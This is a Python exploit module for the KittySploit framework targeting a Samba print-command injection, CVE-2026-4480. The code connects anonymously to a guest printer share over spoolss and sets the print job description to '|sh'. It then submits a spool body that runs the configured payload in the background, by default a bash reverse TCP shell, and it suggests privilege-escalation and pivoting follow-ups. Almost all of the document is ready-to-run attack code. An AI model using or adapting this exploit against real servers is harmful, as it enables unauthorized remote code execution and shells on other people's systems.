Samba CVE-2026-4480 print-command (%J) injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.smb.smb_scanner_client import Smb_scanner_client

try:
    from samba.dcerpc import spoolss
    from samba.param import LoadParm
    from samba.credentials import Credentials

    SAMBA_BINDINGS_AVAILABLE = True
except ImportError:
    SAMBA_BINDINGS_AVAILABLE = False


class Module(Exploit, Smb_scanner_client):
    __info__ = {
        "name": "Samba CVE-2026-4480 print-command (%J) injection",
        "description": (
            "CVE-2026-4480: Samba print servers configured with a print command that "
            "references %J pass the client-controlled job description to a shell without "
            "escaping metacharacters. An unauthenticated attacker with access to a guest "
            "printer share can submit a crafted print job for remote code execution."
        ),
        "author": ["TheCyberGeek @ HackTheBox", "KittySploit Team"],
        "cve": ["CVE-2026-4480"],
        "platform": Platform.LINUX,
        "references": [
            "https://www.samba.org/samba/security/CVE-2026-4480.html",
            "https://www.cve.org/CVERecord?id=CVE-2026-4480",
            "https://www.hackthebox.com/blog/cve-2026-4480-samba-rce-vulnerability",
        ],
        "tags": [
            "samba",
            "smb",
            "spoolss",
            "print",
            "command-injection",
            "cwe-78",
            "rce",
            "unauthenticated",
            "cve-2026-4480",
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["samba", "smb"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    printer = OptString(
        "HP-Reception",
        "Guest-accessible printer share name",
        required=False,
    )
    document_name = OptString(
        "|sh",
        "Print job description substituted into %J",
        required=False,
        advanced=True,
    )

    _PRINTER_ACCESS_USE = 0x00000008

    def _require_bindings(self) -> bool:
        if SAMBA_BINDINGS_AVAILABLE:
            return True
        print_error(
            "Samba Python bindings are required (install python3-samba / samba-common)"
        )
        return False

    def _spool_iface(self):
        lp = LoadParm()
        lp.load_default()
        creds = Credentials()
        creds.guess(lp)
        creds.set_anonymous()

        host = self._host()
        binding = rf"ncacn_np:{host}[\pipe\spoolss]"
        return spoolss.spoolss(binding, lp, creds)

    def _spool_body(self, command: str) -> bytes:
        cmd = (command or "").strip().rstrip("\n")
        if not cmd:
            raise ProcedureError(FailureType.ConfigurationError, "Empty payload command")

        # Samba skips the print command for a 0-byte spool file; EndDocPrinter runs
        # the command synchronously, so the payload must detach in the background.
        escaped = cmd.replace("'", "'\"'\"'")
        script = f"setsid bash -c '{escaped}' >/dev/null 2>&1 &\n"
        return script.encode()

    def _submit_print_job(self, body: bytes) -> None:
        host = self._host()
        printer = str(self.printer or "HP-Reception").strip() or "HP-Reception"
        job_name = str(self.document_name or "|sh").strip() or "|sh"

        iface = self._spool_iface()
        handle = iface.OpenPrinter(
            rf"\\{host}\{printer}",
            "",
            spoolss.DevmodeContainer(),
            self._PRINTER_ACCESS_USE,
        )

        info = spoolss.DocumentInfo1()
        info.document_name = job_name
        info.output_file = None
        info.datatype = "RAW"

        ctr = spoolss.DocumentInfoCtr()
        ctr.level = 1
        ctr.info = info

        iface.StartDocPrinter(handle, ctr)
        iface.StartPagePrinter(handle)
        iface.WritePrinter(handle, body, len(body))
        iface.EndPagePrinter(handle)
        iface.EndDocPrinter(handle)
        iface.ClosePrinter(handle)

    def _can_open_printer(self) -> Tuple[bool, str]:
        if not self._require_bindings():
            return False, "Samba Python bindings unavailable"
        host = self._host()
        if not host:
            return False, "target not set"
        printer = str(self.printer or "HP-Reception").strip() or "HP-Reception"
        try:
            iface = self._spool_iface()
            handle = iface.OpenPrinter(
                rf"\\{host}\{printer}",
                "",
                spoolss.DevmodeContainer(),
                self._PRINTER_ACCESS_USE,
            )
            iface.ClosePrinter(handle)
            return True, f"anonymous OpenPrinter succeeded for \\\\{host}\\{printer}"
        except Exception as exc:
            return False, f"OpenPrinter failed for \\\\{host}\\{printer}: {exc}"

    def check(self):
        if not self._host():
            return {"vulnerable": False, "reason": "target not set", "confidence": "low"}

        if not SAMBA_BINDINGS_AVAILABLE:
            return {
                "vulnerable": False,
                "reason": "Samba Python bindings unavailable on the operator host",
                "confidence": "low",
            }

        ok, reason = self._can_open_printer()
        return {
            "vulnerable": ok,
            "reason": reason,
            "confidence": "medium" if ok else "low",
        }

    def run(self):
        if not self._require_bindings():
            return False

        host = self._host()
        if not host:
            print_error("Target host is required")
            return False

        printer = str(self.printer or "HP-Reception").strip() or "HP-Reception"
        command = str(self.payload or "").strip()
        if not command:
            print_error("No payload configured")
            return False

        try:
            body = self._spool_body(command)
        except ProcedureError as exc:
            print_error(str(exc))
            return False

        print_status(
            f"Submitting print job to \\\\{host}\\{printer} "
            f"(document_name={str(self.document_name or '|sh').strip() or '|sh'})"
        )
        print_info("Ensure your listener is ready before continuing")

        try:
            self._submit_print_job(body)
        except Exception as exc:
            print_error(f"Exploit failed: {exc}")
            return False

        print_success("Print job submitted; check your listener or out-of-band channel")
        return True